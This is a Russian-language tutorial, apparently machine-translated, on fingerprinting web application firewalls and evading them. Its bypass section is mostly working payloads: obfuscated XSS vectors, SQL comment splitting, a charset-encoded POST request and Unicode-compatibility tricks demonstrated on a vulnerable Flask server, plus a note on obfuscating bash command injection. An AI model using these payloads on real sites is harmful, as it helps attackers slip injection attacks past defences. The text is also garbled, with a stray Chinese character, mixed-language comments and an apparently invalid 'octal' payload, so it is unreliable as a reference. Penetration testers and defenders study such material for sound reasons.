WAF — это решение сетевой безопасности, используемое для фильтрации и блокировки вредоносного сетевого трафика. Обычными поставщиками для иностранных веб-сайтов являются CloudFlare, AWS, Citrix, Akamai, Radware, Microsoft Azure и Barracuda.
В зависимости от комбинации механизмов, используемых межсетевым экраном, методы обхода могут различаться.
Например, WAF может использовать регулярные выражения для обнаружения вредоносного трафика. Регулярные выражения используются для обнаружения шаблонов в строках.
WAF также могут использовать обнаружение на основе сигнатур, когда известным вредоносным строкам присваиваются сигнатуры, хранящиеся в базе данных, а межсетевой экран будет проверять сетевой трафик на наличие сигнатур на основе содержимого базы данных.
Если есть совпадение, сеть будет заблокирована. Кроме того, некоторые межсетевые экраны используют эвристическое обнаружение.
Как упоминалось ранее, WAF обычно блокируют явно вредоносный трафик. Чтобы активировать брандмауэр и проверить его существование, к веб-приложению можно отправить HTTP-запрос, добавив вредоносный запрос к URL-адресу, например https://example.com/?p4yl04d3=.
Ответ HTTP может отличаться от ожидаемого для веб-страницы, к которой осуществляется доступ. WAF может возвращать собственную веб-страницу, как показано ниже, или другой код состояния, обычно около 400.
Ручная идентификация
Другие признаки брандмауэра можно обнаружить через веб-прокси, cURL или вкладку «Сеть» в DevTools вашего браузера:
Имя WAF в заголовке Сервера (например, Сервер: Cloudflare).
Другие заголовки ответа HTTP, связанные с WAF (например, CF-RAY: xxxxxxxxxxx).
Файлы cookie, которые кажутся установленными WAF (например, заголовок ответа Set-Cookie: __cfduid=xxxxx).
Уникальный код ответа при отправке вредоносного запроса. (например, 412)
Помимо создания вредоносных запросов и оценки ответов, брандмауэры можно обнаружить путем отправки TCP-пакетов FIN/RST на сервер или проведения атак по побочным каналам. Например, брандмауэр может предлагать использовать WAF в течение разного времени полезной нагрузки.
инструмент автоматической идентификации
1. Запустите сканирование Nmap.
Механизм сценариев Nmap (NSE) включает сценарии для обнаружения и снятия отпечатков брандмауэров. Скрипты можно увидеть ниже.
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).
PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
2.WafW00f
Wafw00f — это утилита командной строки, которая отправляет обычно помеченную полезную нагрузку на заданное доменное имя и оценивает ответ веб-сервера для обнаружения и идентификации брандмауэров, где это возможно.
$ wafw00f example.com
3.WhatWaf
Помимо обнаружения межсетевых экранов, WhatWaf также может попытаться обнаружить побочные каналы, используя сценарии взлома и оценивая ответы веб-сервера на различные полезные нагрузки.
Результаты WhatWaf согласуются с результатами Wafw00f.
В этом разделе будут описаны некоторые потенциальные технологии WAFBypass с примерами.
1. Обход регулярного выражения
Этот метод работает для фильтрации регулярных выражений, выполняемой WAF и веб-серверами. В тесте на проникновение «черного ящика» поиск регулярных выражений, используемых WAF, может оказаться невозможным.
Распространенные обходные пути включают изменение полезных данных, использование различных кодировок, замену функций или символов, использование альтернативного синтаксиса, а также использование новых строк или табуляции.
Следующие примеры демонстрируют некоторые способы обхода регулярных выражений и комментариев.
<sCrIpT>alert(XSS)</sCriPt> #Изменить регистр меток
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #удалить закрывающий тег
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #Используйте символ новой строки при кодировании
<iframe src=http://malicous.com < #double Открытые угловые скобки
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaaaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
методы запутывания
Хотя запутывание является возможным способом обхода регулярных выражений,но они разделены на разные части,для более детального отображения методов Выбор запутывания.
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode кодирование
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #Используйте комментарии в SQL-запросах для разбивки операторов
new Function`alt\`6\``; #using backticks вместо скобок
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 кодированиеjavascript
%26%2397;lert(1) #использоватьHTMLкодирование
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Использовать перенос строки (LF)
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # Используйте любой символ, кроме буквы, цифры или инкапсулированного символа, между обработчиком события и знаком равенства (только для движка Gecko).
Больше полезной нагрузки:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads
2. Набор символов
Этот метод включает в себя изменение заголовка Content-Type для использования другого набора символов (например, ibm500). WAF, который не настроен для обнаружения вредоносных полезных данных, закодированных по-другому, может не распознать запрос как вредоносный. Кодирование набора символов можно выполнить с помощью Python
$ python3
-- snip --
>>> import urllib.parse
>>> s = '<script>alert("xss")</script>'
>>> urllib.parse.quote_plus(s.encode("IBM037"))
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'
Закодированную строку затем можно отправить в теле запроса и загрузить на сервер.
POST /comment/post HTTP/1.1
Host: chatapp
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
3. Размер контента
В некоторых облачных WAF запросы не проверяются, если полезная нагрузка превышает определенный размер. В этих случаях брандмауэр можно обойти, увеличив размер тела запроса или URL-адреса.
4. Совместимость с Юникодом
Совместимость с Юникодом — это концепция, описывающая разложение визуально различных символов на один и тот же базовый абстрактный символ. Это эквивалент Unicode.
Например, символы /(U+FF0F) и /(U+002F) разные, но в некоторых случаях они будут иметь одинаковое значение. Общее значение позволяет символам быть совместимыми друг с другом, а это означает, что, несмотря на то, что изначально они были разными символами, все они могут быть преобразованы в стандартный символ косой черты / (U + 002F).
Если копнуть глубже, то, будут ли /(U+FF0F) и /(U+002F) одним и тем же символом косой черты, зависит от того, как веб-сервер их нормализует или транслирует.
Символы обычно нормализуются с помощью одного из четырех стандартных алгоритмов нормализации Unicode:
В частности, NFKC и NFKD будут разлагать символы на основе совместимости, в отличие от NFC и NFD (подробности см. здесь https://www.unicode.org/reports/tr15/).
Это означает, что на веб-сервере, где пользовательский ввод сначала очищается, а затем нормализуется с помощью NFKC или NFKD, неожиданные совместимые символы могут обходить WAF и применяться как их канонический эквивалент на серверной стороне.
Это результат того, что WAF не ожидает символов, совместимых с Unicode.
Хорхе Лахара демонстрирует это на веб-сервере PoC ниже.
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
@app.route('/')
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
еслибрандмауэрможет быть обнаружен<<img src=p onerror='prompt(1)'>изinial payload,则использоватьUnicodeСовместимые персонажи(<<img src⁼p onerror⁼'prompt⁽1⁾'﹥) встроенная полезная нагрузка останется незамеченной.
Веб-серверы, которые нормализуют ввод после его очистки, могут легко обходить WAF благодаря совместимости с Unicode.
5. Неинициализированные переменные
Возможный подход — использовать в запросе неинициализированную переменную (например, $u), как показано в этой статье. Это возможно в сценариях выполнения команд, поскольку Bash рассматривает неинициализированные переменные как пустые строки. Когда пустая строка объединяется с полезными данными выполнения команды, результатом становится полезная нагрузка выполнения команды.
В системе, подверженной внедрению команд, вставка неинициализированных переменных в полезные данные может использоваться как форма обфускации для обхода брандмауэров.